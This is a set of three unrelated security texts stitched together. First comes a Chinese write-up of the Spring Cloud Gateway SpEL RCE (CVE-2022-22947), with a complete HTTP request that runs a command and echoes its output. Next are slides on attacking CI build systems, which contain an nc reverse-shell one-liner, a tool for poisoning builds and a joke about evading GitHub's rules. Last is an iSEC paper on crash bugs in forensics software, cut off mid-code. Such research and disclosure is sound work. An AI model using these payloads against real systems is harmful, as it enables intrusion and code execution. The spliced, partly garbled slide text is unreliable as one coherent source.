谢 谢! | pdf |
CVE-2022-22947 SpringCloud GateWay SPEL RCE echo response
环境
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
审计
看diff https://github.com/spring-cloud/spring-cloud-
gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用
GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式
回溯执行点
说明是个spel表达式的rce,向上回溯找到
org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举
找到四个地方都在ShortcutConfigurable接口类里,分布在ShortcutType的三个枚举值,见上图圈
起来的部分。
三个枚举值都重写了
org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数
在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType(),用到的是
ShortcutType.DEFAULT枚举。
继续向上查找shortcutType()函数的引用到
org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normaliz
eProperties
这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后
进入getValue执行SPEL表达式造成SPEL表达式注入。
正向看filter
根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看,用
户可以通过actuator在网关中创建和删除路由。
路由格式
在idea中通过actuator的mapping功能找到controller
然后看RouteDefinition
其中FilterDefinition类需要有一个name和args键值对。
而name在创建路由的时候进行了校验
name需要和已有的filter相匹配
动态调试看一下已有的name
那么到这里利用已经呼之欲出了
复现
先创建路由,filter中填充spel表达式,然后refresh执行。
name用到了RewritePath,对应的是
org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply
需要注意的是这里args中键名要填充replacement属性,不然会报空指针
然后refresh
rce
堆栈如下
getValue:251, SpelExpression (org.springframework.expression.spel.standard)
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1
(org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder
(org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder
(org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator
(org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator
(org.springframework.cloud.gateway.route)
apply:-1, 150385835
(org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster
(org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster
(org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster
(org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint
(org.springframework.cloud.gateway.actuate)
...省略...
如何回显
上述文章知,通过getValue()函数可以讲args的value执行spel表达式,并且保存为properties,那
么properties在哪里可以返回给我们的http response呢?
在
org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#ap
ply 中,将config的键值对添加到header中
那么可以用AddResponseHeader来构造请求包
POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Content-Length: 300
Content-Type: application/json
Connection: close
{
"id": "test1",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new
java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.R
untime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd123"
}
}
],
"uri": "http://aaa.com",
"order": 0
}
在构造这个请求包的时候遇到了几个问题,第一个是我构造的时候没有传uri和order,爆空指针异
常。然后多次调试后发现在
org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.rout
e.RouteDefinition)函数中对routeDefinition参数进行了处理,所以必须要有uri和order。
uri还必须是一个正确的url才行。
第二个问题是value必须是一个String类型,否则在bind的时候会报类型不匹配异常。因为
AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例,而value是string
类型。
最后回显效果如图
最后删除自己创建的路由
DELETE /actuator/gateway/routes/test1 HTTP/1.1
Host: 172.16.16.1:8081
Connection: close
写在文后
这个漏洞是用codeql挖出来的,这个东西真得学一学了。
最后感慨一下,我中午吃饭前刚想出来用AddResponseHeader回显,吃完饭p牛就发了vulhub环
境加poc。
夫破人之与破于人也,臣人之与臣于人也,岂可同日而言之哉? | pdf |
Exploiting Continuous
Integration (CI) and
Automated Build Systems
And introducing CIDER
Whoami
• SpaceB0x
• Sr.+Security+Engineer+at+LeanKit
• Application+and+network+security+(offense+and+defense)
• I+like+breaking+in+to+systems,+building+systems,+and+learning
• Security+consultant
./agenda.sh
• Overview+of+Continuous+Integration+concepts
• Tools+
• Build+Chain+and+Configuration+problems
• Real+world+exploit+#1+
• Common+deployment+bad-practices
• Real+world+exploit+#2+– Attacking+the+CI+provider
• Introduce+CIDER
Continuous1Integration1
Continuous1Integration1(CI)
• Quick+iterative+release+of+code+to+production+servers
• Goal:+Many+deployment+iterations+per+day+or+week
• Tend+to+be+repository+centric
• In+sync+with+Automated+Build+chains
• For+infrastructure/servers/subnets+as+well+as+code+
Microservices
• Just+abstraction
• Breaking+down+large+app+into+small+decoupled+components
• Do+1+or+2+things+really+well
• Developed+Autonomously+
Security1Implications
• Good+- Frequent+release+cycles+are+fabulous!
• Good+- Faster+code+deployments+=+quick+remediation
• Good+– Reduced+single+points+of+failure
• Good+- Compromise+of+one+service+doesn’t+(always)+mean+full+pwnage
Security1Implications
• Good+- Frequent+release+cycles+are+fabulous!
• Good+- Faster+code+deployments+=+quick+remediation
• Good+- Decoupled+systems+reduced+single+points+of+failure
• Good+- Compromise+of+one+service+doesn’t+(always)+mean+full+pwnage
• Bad+- Fast+release+sometimes+means+hasty+oversights
• Bad+- Automated+Deployment+systems+are+checked+less+than+the+code+
that+they+deploy+
• Bad+– Identity+management
Tools
Build1Systems
• Take+code+and+build+conditionally
• Typically+in+a+quasi+containerized+type+of+environment
• Both+local+and+cloud+based+are+popular
• Vendor:
ØTravis-CI
ØCircle-CI
ØDrone
ØTeamCity
ØBuildKite
Build1Systems
• Take+code+and+build+conditionally
• Typically+in+a+quasi+containerized+type+of+environment
• Both+local+and+cloud+based+are+popular
• Vendor:
ØTravis-CI
ØCircle-CI
ØDrone
ØTeamCity
ØBuildKite
Deployment1Systems
• Deploy+the+code+after+build
• Heading+more+and+more+toward+container+driven
• Vendors
ØJenkins
ØOctopus+Deploy
ØKubernetes
ØRancher
ØMesosphere
Chains1of1Deployment
Chains1of1Deployment
Chains1of
deployment
Configuration1Exposure
Problems1with1SDLC1trends
• Code+build+before+merging
• Builds+triggered+from+PRs,+commits,+etc.
• Repos+hold+downstream+instructions
• Build+configurations+normally+in+root+of+repo
Vulnerabilities1are1in1Misconfiguration
• Creative+configuration+exploitation
• Vuln stacking+at+it’s+finest
• Each+individual+service+may+be+functioning+exactly+as+intended
• Interaction+between+services+is+where+many+vulnerabilities+lie
External1Repos
• Most+volatile+attack+surface
• Public+repositories+which+map+to+internal+build+services
Attacking1Build1Servers- 31main1ways
• Pre/Post+Commands
• Image+Specification
• Test+builds
Real1World1Hax #1
mknod /tmp/backpipe p
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
nc –l 4444
root
So1many1questions….
•Who+is+aware+of+this?
•What+are+the+implications?
•Attack+surface?
Existing1pwnage
• @claudijd and+RottenApple
• Framework+for+exploiting+CI+(Jenkins)+via+Ruby+code+builds
• Audit+framework,+as+well+as+attack+surface
•
<crickets>
•
I’ll+keep+poking+around
Who1Cares?
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Build+Bot-Net+and+launch+DoS?+Yes+please?
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Build+Bot-Net+and+launch+DoS?+Yes+please?
• Mine+Etherium lulz
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Build+Bot-Net+and+launch+DoS?+Yes+please+?
• Mine+Etherium lulz
• On-Prem/Self-Hosted
• Take+over+a+network
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Build+Bot-Net+and+launch+DoS?+Yes+please+?
• Mine+Etherium lulz
• On-Prem/Self-Hosted
• Take+over+a+network
• Alter+source+repositories
• Cloud+Based
• Clog+up+deployment+chain+by+filling+build+queues
• Build+Bot-Net+and+launch+DoS?+Yes+please+?
• Mine+Etherium lulz
• On-Prem/Self-Hosted
• Take+over+a+network
• Alter+source+repositories
• Alter+downstream+production+deployments
Bad-Practices1for1Hosted1Services
Environment1Vars
• Being+used+to+store+credentials
• Storing+metadata+for+other+services+within+micro-service+
infrastructure
• THIS+IS+HOW+WE+PIVOT
Run1everything1as1root
• Just+a+container,+right+guyz?
• You+now+have+internal+network+access
• Full+control+to+build+augment+the+image
Real1World1Hax #2
GCLOUD
sudo gloud compute+project-info+describe
sudo gcloud compute+networks+create+testnetwork –mode+auto
Introducing1CIDER
What1is1CIDER?
•Continuous+Integration+and+Deployment+ExploiteR
What1is1CIDER?
•Continuous+Integration+and+Deployment+ExploiteR
• Framework+for+exploiting+and+attacking+CI+build+chains
What1is1CIDER?
•Continuous+Integration+and+Deployment+ExploiteR
• Framework+for+exploiting+and+attacking+CI+build+chains
• Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services
What1is1CIDER?
•Continuous+Integration+and+Deployment+ExploiteR
• Framework+for+exploiting+and+attacking+CI+build+chains
• Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services
• Takes+the+mess+out+forking,+PR-ing,+callbacking
What1is1CIDER?
•Continuous+Integration+and+Deployment+ExploiteR
• Framework+for+exploiting+and+attacking+CI+build+chains
• Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services
• Takes+the+mess+out+forking,+PR-ing,+callbacking
• It+will+poison+a+handful+of+build+services+and+”exploits”+for+each+one
Why1CIDER?
• Fun
• Make+attacking+easy
• Awareness
• RottenApple by+@claudijd
• Facilitate+further+research
CIDER1overview
CIDER1– ‘help’
CIDER1– ‘add1target’1&1‘list1targets’
CIDER1– ‘load’1and1‘info’
CIDER1features
• Node.JS
• Build+modularly
• Can+handle+bulk+lists+of+target+repos
• Clean+up+for+GitHub+repo+craziness
• Ngrok – because+port+forwarding+and+public+IPs+suck
Ngrok
Disclaimer
• It+is+against+the+GitHub+user+agreement+to+test+against+a+repository,+
even+if+you+have+permission+from+the+owner+of+the+repo
• You+must+be+the+owner+to+test+a+repo
• When+testing+ask+them+to+make+you+an+owner
WINK+WINK
DEMO
Limitations
• Build+Queues
• GitHub+Noise
• Timeouts
• Repo+API+request+throttling
Just1the1beginning…
• More+CI-Frameworks
• Start+tackling+deployment+services
• Start+exploring+other+entrypoints
• Other+code+repositories
• ChatOps (Slack)
Thanks
• LeanKit+Operations+Team
• Evan+Snapp
• @claudijd
• Wife++
Fin
CIDER+on+Github:
https://github.com/spaceB0x/cider
Twitter:+@spaceB0xx
www.untamedtheory.com | pdf |
Breaking Forensics Software:
Weaknesses in Critical Evidence Collection
Tim Newsham - <tim[at]isecpartners[dot]com>
Chris Palmer - <chris[at]isecpartners[dot]com>
Alex Stamos - <alex[at]isecpartners[dot]com>
iSEC Partners, Inc
115 Sansome Street, Suite 1005
San Francisco, CA 94104
http://www.isecpartners.com
July 1, 2007
Abstract
This article presents specific vulnerabilities in common forensics tools that were not previously known
to the public. It discusses security analysis techniques for finding vulnerabilities in forensic software, and
suggests additional security-specific acceptance criteria for consumers of these products and their forensic
output. Traditional testing of forensics software has focused on robustness against data hiding techniques
and accurate reproduction of evidence. This article argues that more security focused testing, such as that
performed against security-sensitive commercial software, is warranted when dealing with such critical
products.
Note: Due to the deadline for submitting presentation materials to Black Hat and the ongoing nature
of our conversation with Guidance Software, we are unable to present in this revision of the paper all
the details of the defects in EnCase that we found.
By the time you read this, this version of the
paper will be out of date and the canonical version may have the defect details.
Please see https:
// www. isecpartners. com/ blackhat to find the most recent version of this paper as well as several of
the tools we created during our research.
1
Introduction
This article presents specific vulnerabilities in common forensics tools that were not previously known to
the public, discusses techniques for finding vulnerabilities in forensic software, and recommends additional
security-specific acceptance criteria buyers should apply. The primary contribution of this work is to take
an adversarial look at forensics software and apply fuzzing and vulnerability assessment common to analysis
of other products, such as operating systems or office suites, to forensic software.
Two popular software packages for performing forensic investigations on computer evidence, Guidance
EnCase and Brian Carrier’s The Sleuth Kit (TSK), are vulnerable to attack. The most common problems
are “crashers”, that is, damaged data files, storage volumes, and filesystems which cause the software to
crash before the forensic analyst can interpret the evidence.
http://www.isecpartners.com
1/12
We performed some random and targeted fault injection testing against the two products and uncovered
several bugs, including data hiding, crashes that result in denial of service, and infinite loops that cause the
program to become unresponsive.
2
Prior Art
While blind fuzzing and targeted fault injection are not new techniques, there has not been much (public)
research into the relatively small niche of forensics software.
There is not much on EnCase or TSK in the Common Vulnerabilities and Exposures database1, for
example. Searching on “encase” in the CVE search engine returns only one result (at the time of writing, 28
June 2007), http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1578 (“EnCase Forensic Edi-
tion 4.18a does not support Device Configuration Overlays (DCO), which allows attackers to hide information
without detection”). Searching CVE for “sleuth” (http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=
sleuth) and “sleuthkit” (http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sleuthkit) return 0 re-
sults, and a searching on “sleuth kit” returns results containing the word “kit” but not “sleuth”.
3
Classes of Attacks Against Forensic Software
Forensic software is especially difficult to secure, yet must be especially robust against attack. It must
acquire data from any type of device, in any format; it must parse, render, and search as many data formats
as possible; and it must do all this with acceptable performance without sacrificing correctness or accuracy
— in the presence both of malicious tampering and of accidental faults in the evidence.
In a forensic investigation, denial of service (DoS) vulnerabilities are no longer merely annoyances, but
can impede the investigation, making evidence difficult or impossible to examine. “Crasher” bugs (often the
result of the overflow of buffers on the stack or heap) are sometimes exploitable, leading to a situation in
which a maliciously crafted evidence file might allow an attacker to frustrate analysis or possibly execute
code on the investigator’s workstation2. This may compromise the integrity of investigations performed on
the machine (or allow a lawyer to argue the point).
3.1
Data Hiding
The purpose of forensic software is to discover and analyze evidence stored on digital media. If the
software fails to detect information on the medium for some reason, an attacker could exploit the weakness
to hide evidence. For example, a data acquisition tool is vulnerable to a data hiding attack if it fails to
acquire the host protected area of a hard disk.
Note that we do not include cryptography as a data hiding attack because, while it may be uninter-
pretable, encrypted information is still visible.
Another type of data hiding attack is the “attack by tedium”: where there exist asymmetries such that
an attacker can obfuscate data more easily than the forensic investigator can unobfuscate it, the effect can
1http://cve.mitre.org/
2To be clear, we have not found any code execution vulnerabilities.
http://www.isecpartners.com
2/12
be similar to a steganographic attack. This method of attack is relatively weak since it relies on the usability
affordances of a particular forensic software kit. A determined investigator could defeat the attack by using
multiple software kits or scripting the toolkit for automated evidence analysis, for example.
3.2
Code Execution, Evidence Corruption
Code execution vulnerabilities result from particular implementation flaws such as stack and heap over-
flows. Programming errors in native code may allow an attacker to specify data that overwrite control flow
information in the program and provide new code of the attacker’s choice to be executed in the context of
the vulnerable process (including accessing files and the network).
If an attacker succeeds in executing arbitrary code on the forensic workstation, such as by exploiting a
buffer overflow in one of the data format parsers or renderers, he can — among a vast array of other things
— cause the forensic image to become corrupted, hiding or destroying evidence. A subtle attack would be
to cause the forensic toolkit not to alter the forensic image, but simply to ignore the evidence the attacker
wishes to hide. There would be no obvious tip-off that an attack has occured, such as if the checksums of the
evidence files changed, yet the toolkit would be instructed by the attacker never to reveal the incriminating
evidence.
All the usual “mundane” attacks are of course also possible, such as planting spyware or other malware
on the forensic workstation.
Bugs that allow an attacker to overwrite memory, even without arbitrary code execution, could also
allow an attacker to spoil or hide evidence3.
3.3
Denial of Service, Blocking Analysis
Denial of service vulnerabilities (when the program crashes or hangs) frustrate forensic analysis. If an
attacker hides the incriminating evidence in a file that crashes the forensic software but does not crash the
attacker’s own file viewer (and we observed many instances of this type of bug), the analyst must perform
extra work to discover the evidence. If the analyst is diligent, the attack is a mere service downgrade (the
analyst loses the rich search and parse functionality of their forensic tool). If the analyst is overworked, on
a tight deadline, or lazy, they might miss important evidence.
This might seem minor, but note that the sophisticated searching, parsing, key recovery, and file carving
features are the entire reason forensic software toolkits exist as a distinct class of software. Forensic analysis
can of course be done with nothing but a write-blocker and the standard Unix tools, but few professional
analysts would be satisfied with such a limited toolbox. Until forensic toolkits become more robust, analysts
may be in the dark without knowing it.
4
Techniques Used to Find Vulnerabilities
Because one of the most obvious attack surfaces on forensic software is the filesystem metadata parsing
code and the rich data file parsing and rendering code, we attacked it by generating fuzzed filesystems and
3We do not know of any such defects.
http://www.isecpartners.com
3/12
data files. We also made attempts to hide data by making disks with many partitions, and deeply-nested
archive files (TAR, ZIP, etc.).
4.1
Fuzzing Data Formats
We did not need sophisticated fuzzing to discover many of the vulnerabilities. We used simple random
fuzzing with no special provision for the particulars of any given data format. The fuzzer is instantiated
with a random seed and provides a set of mutator functions; when fed source data, one of the mutators is
chosen and invoked on the source. iSEC has a library of mutators that can
• randomly choose a substring (of random length) of the source and replace it with a random string of
the same size;
• replace a random number of single bytes in the source with random bytes;
• increment or decrement a random number of single bytes in the source;
• replace a randomly-selected NUL byte or sequence of two NULs in the source with a given value of the
same size;
• replace the entire source with a random string of the same size;
• overwrite 32-bit values in the source with some other given 32-bit value, advancing the replacement
position on successive calls;
• delete or insert a randomly-selected substring (of random size) from the source; and
• randomly choose any two mutators and perform both mutations on the source.
When fuzzing disk and volume images we did not use the mutators that change the size of the object,
since filesystems are based on fixed-size blocks with many structures expected to be aligned at particular
offsets. Perturbing a filesystem too drastically tends to cause implementations to reject it completely, with
no chance of bug discovery.
We fuzzed otherwise normal data files (JPEGs, PDFs, MS Word documents, etc.), volumes and parti-
tions, and disk device images. Each successive fuzzing target also includes the previous targets, but also
fuzzes more data: fuzzing partitions affects filesystem metadata and file data; and fuzzing disks affects par-
tition metadata, filesystem metadata, and file data). We then performed appropriate tasks for the object
with the forensic application: viewing and acquiring disks and volumes, viewing and searching files, etc.
4.2
Manual, Targeted Manipulation of Data Formats
We also performed targeted, manual mangling of data formats, such as by creating directory loops in
filesystems, creating loops in MBR partition tables, creating disk images with very many partitions, tweaking
data objects in JPEG files that influence memory management, and so on.
MBR partition tables. We wrote code to identify all of the MBR records and performed fuzzing on only
those blocks. The fuzzing was again simplistic. The reason we did this was to increase the amount
of mutations in each test case (since we can only test one disk at a time, whereas we can test many
http://www.isecpartners.com
4/12
filesystems at a time, for example) without causing other issues (i.e. in the filesystem code) that might
mask findings.
Directory loops. We manually edited ext2fs and NTFS filesystems so that a directory became a child
subdirectory in its own directory, and then analyzed the resulting image.
Long file names. We generated filesystems with very long file names. These were created both inside a
single directory and in a chain of deeply nested directories.
Large directories. We generated filesystems with a directory containing large numbers of files. These were
filled with files having really short names, medium length names and long filenames.
Deeply nested directories. We generated filesystems with deeply nested directories. The directory names
were very short and very long.
5
Defects Found in The Sleuth Kit
Brian Carrier’s The Sleuth Kit (TSK) is a tool-oriented forensic software suite in the Unix tradition
(although it does run on Windows in addition to Linux, Mac OS X, and other Unix variants). Individual
programs with command-line interfaces each do one task — extracting inode metadata from a disk image,
copying data referenced by an inode to a file — and to work together by reading and writing streams of text.
It is implemented in C and tied together by a web interface implemented as Perl CGIs (Autopsy).
In contrast to EnCase, TSK almost completely relegates evidence display to third-party software. TSK
consists of 23 separate single-purpose programs, but we found vulnerabilities in only a few:
fls lists the file and directory names in a give filesystem image, including deleted files;
fsstat displays the metadata for the filesystem, including inode numbers and mount times;
icat copies files in the disk image by inode number (Unix filesystems) or MFT entry number (NTFS), as
discovered and chosen by the investigator using e.g. the istat tool; and
istat displays the metadata stored in an inode or MFT entry;
Simple fuzzing raised several issues, and the inherent programmability of Unix-type tools allowed us to
easily isolate the particular spot in damaged files that was causing the problem. In general it appears that
the implementation is sufficiently careful about keeping buffer writes in bounds, but it places too much trust
in the data from the disk image when reading from buffers. Most issues involve out-of-bounds reads that
can lead to incorrect data, or crashes. There were also some issues that may lead to denial of service.
5.1
Data Dereferenced After Free
A crash can occur when processing a corrupted ext2fs image because the error processing code derefer-
ences data after it frees it. In ext2fs.c:
1230
f o r
(n = 0 ;
length > 0 && n < inode−>d i r e c t c o u n t ;
n++) {
1231
read b = e x t 2 f s
f i l e
w a l k
d i r e c t ( fs ,
buf ,
length ,
1232
inode−>d i r e c t a d d r [ n ] ,
f l a g s ,
action ,
ptr ) ;
1233
1234
i f
( read b == −1) {
http://www.isecpartners.com
5/12
1235
f r e e ( buf ) ;
1236
d a t a b u f f r e e ( buf [ 0 ] ) ;
1237
return
1 ;
1238
}
If read b is -1 (line 1234) then buf is freed (line 1235) before data in buf[0] is freed (line 1236). This
leads to a crash on some systems.
5.1.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
7616332
\x01
$
i c a t
Bad . dsk 56−128−3
5.2
Corrupted NTFS image Causes icat to Run Indefinitely
icat runs virtually forever when run on some altered NTFS images. It appears that a 64-bit value was
read off the disk and used as a byte count. We observed the following in gdb:
#9
0 x080892ef
in
n t f s d a t a w a l k
( n t f s=0x80ee0c0 ,
inum=56,
f s d a t a=0x80f0400 ,
f l a g s =0,
a ct i o n=0x80a45d0 <i c a t a c t i o n >,
ptr=0x0 )
at
n t f s . c :1639
1639
r e t v a l = a ct i o n ( fs ,
addr ,
buf ,
b u f s i z e ,
myflags ,
ptr ) ;
( gdb )
p/x
f s i z e
\$3 = 0 x f f f f f f f f f f 8 e c d 4 2
( gdb )
p/x
fs dat a −>s i z e
\$4 = 0x9342
( gdb )
p/x
fs dat a −>runlen
\$5 = 0 x f f f f f f 0 6 0 0 0 0 9 2 0 0
5.2.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
7616332
\x01
$
i c a t
Bad . dsk 56−128−3
5.3
NTFS Image Causes icat to Crash
icat crashes while processing a file on a corrupted NTFS filesystem image.
The crash occurs when
dereferencing fs data run at line 1570 of ntfs.c:
1543
/∗
c y c l e
through
the
number
of
runs
we have
∗/
1544
while
( f s d a t a r u n )
{
1545
1546
/∗ We may
get
a FILLER
entry
at
the
beginning
of
the
run
1547
∗
i f
we
are
p r o c e s s i n g
a non−base
f i l e
record
because
1548
∗
t h i s
\$DATA a t t r i b u t e
could
not
be
the
f i r s t
in
the
b i g g e r
1549
∗
a t t r i b u t e .
Therefore ,
do
not
e r r o r
i f
i t
s t a r t s
at
0
1550
∗/
1551
i f
( f s d a t a r u n −>f l a g s & FS DATA FILLER)
{
[ . . .
code
e l i d e d
. . . ]
1564
}
1565
e l s e
{
1566
f s d a t a r u n = f s d a t a r u n −>next ;
1567
}
1568
}
1569
1570
addr = f s d a t a r u n −>addr ;
The check at line 1544 ensures that fs data run is non-NULL, however line 1566 updates the variable
without returning to the check (with a continue) or performing the check again. This leads to a NULL
dereference at line 1570.
http://www.isecpartners.com
6/12
5.3.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
7567157 AA
$
i c a t
Bad . dsk 8−128−1
5.4
NTFS Image Causes fls to Crash (1)
fls crashes while listing files from a corrupted image. The crash occurs when copying data in fs data put str.
The calling code is in ntfs.c:
1778
/∗ Add
t h i s
r e s i d e n t
stream
to
the
f s i n o d e −>a t t r
l i s t
∗/
1779
f s i n o d e −>a t t r =
1780
f s d a t a p u t s t r ( f s i n o d e −>attr ,
name ,
type ,
1781
getu16 ( fs −>endian ,
attr −>id ) ,
1782
( void
∗)
( ( u i n t p t r t )
a t t r +
1783
getu16 ( fs −>endian ,
1784
attr −>c . r . s o f f ) ) ,
getu32 ( fs −>endian ,
1785
attr −>c . r . s s i z e ) ) ;
The read buffer is attr plus an arbitrary 16-bit offset and the read length is an arbitrary 32-bit length.
No bounds checking is performed to ensure that the buffer contains as many bytes as are requested.
5.4.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
7652939
\x01
$
f l s −r l p
Bad . dsk
5.5
NTFS Image Causes fls to Crash (2)
fls crashes while listing files from a corrupted image. The crash occurs at line 208 of ntfs dent.c while
dereferencing idxe:
205
/∗
perform
some
s a n i t y
checks
on
index
b u f f e r
head
206
∗ and
advance
by 4−bytes
i f
i n v a l i d
207
∗/
208
i f
( ( getu48 ( fs −>endian ,
idxe−>f i l e
r e f ) > fs −>last inum )
| |
209
( getu48 ( fs −>endian ,
idxe−>f i l e
r e f ) < fs −>f i r s t i n u m )
| |
210
( getu16 ( fs −>endian ,
idxe−>i d x l e n ) <= getu16 ( fs −>endian ,
211
idxe−>s t r l e n ) )
212
| |
( getu16 ( fs −>endian ,
idxe−>i d x l e n ) % 4)
213
| |
( getu16 ( fs −>endian ,
idxe−>i d x l e n ) >
s i z e ) )
{
214
idxe = ( n t f s i d x e n t r y
∗)
( ( u i n t p t r t )
idxe + 4) ;
215
continue ;
216
}
This code is executed in a loop while walking a table and advancing idxe. The variable is initially in
range, but is eventually moved out of range because the caller passes in a large size (line 735) which is an
arbitrary 32-bit integer taken from the filesystem image. No bounds checking is performed to ensure that
the value is in range.
734
r e t v a l = n t f s d e n t i d x e n t r y ( ntfs ,
dinfo ,
l i s t s e e n ,
idxe ,
735
getu32 ( fs −>endian ,
736
i d x e l i s t −>b u f o f f ) −
737
getu32 ( fs −>endian ,
i d x e l i s t −>b e g i n o f f ) ,
738
getu32 ( fs −>endian ,
739
i d x e l i s t −>e n d o f f ) −
740
getu32 ( fs −>endian ,
i d x e l i s t −>b e g i n o f f ) ,
f l a g s ,
action ,
ptr ) ;
http://www.isecpartners.com
7/12
5.5.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
7653298
d
$
f l s −r l p
Bad . dsk
5.6
NTFS Image Causes fsstat to Crash
fstat crashes while processing a corrupted filesystem image. The crash happens when dereferencing sid
in line 2714 of ntfs.c:
2703
unsigned
i n t
o w n e r o f f s e t =
2704
getu32 ( fs −>endian ,
sds−>s e l f
r e l
s e c
d e s c . owner ) ;
2705
n t f s
s i d
∗ s i d =
2706
( n t f s
s i d
∗)
( ( u i n t 8 t
∗) & sds−>s e l f
r e l
s e c
d e s c
+
o w n e r o f f s e t ) ;
2707
2708
// ”1−”
2709
s i d
s t r
l e n += 2 ;
2710
// t s k
f p r i n t f ( stderr ,
” Revision : %i \n” ,
sid −>r e v i s i o n ) ;
2711
2712
//
This
check
helps
not
p r o c e s s
i n v a l i d
data ,
which
was
noticed
while
t e s t i n g
2713
//
a
f a i l i n g
harddrive
2714
i f
( sid −>r e v i s i o n == 1)
{
This variable is computed with an arbitrary 32-bit offset (line 2704) from an existing buffer (line 2706)
without any bounds checking.
5.6.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
10667177
\x9b
$
f s t a t
Bad . dsk
5.7
NTFS Image Causes fsstat to Crash
fstat crashes while processing a corrupted filesystem image. The crash happens while copying data from
the sds variable (line 2831) in ntfs.c. Care is taken to ensure that no out of bounds reads occur with checks
at line 2817. However, these checks are based on the offset computed in terms of 32-bit values (line 2809)
not in terms of bytes. The check assumes that the current offset is actually a byte count, which would be
four times larger.
2808
while
( t o t a l b y t e s p r o c e s s e d < s d s b u f f e r −>s i z e )
{
2809
c u r r e n t o f f s e t =
2810
( u i n t p t r t
∗)
sds − ( u i n t p t r t
∗)
s d s b u f f e r −>b u f f e r ;
2811
2812
o f f s e t = getu32 ( fs −>endian ,
sds−>e n t s i z e ) ;
2813
i f
( o f f s e t % 16)
{
2814
o f f s e t = ( ( o f f s e t
/
16) + 1)
∗
16;
2815
}
2816
2817
i f
( ( o f f s e t
!=
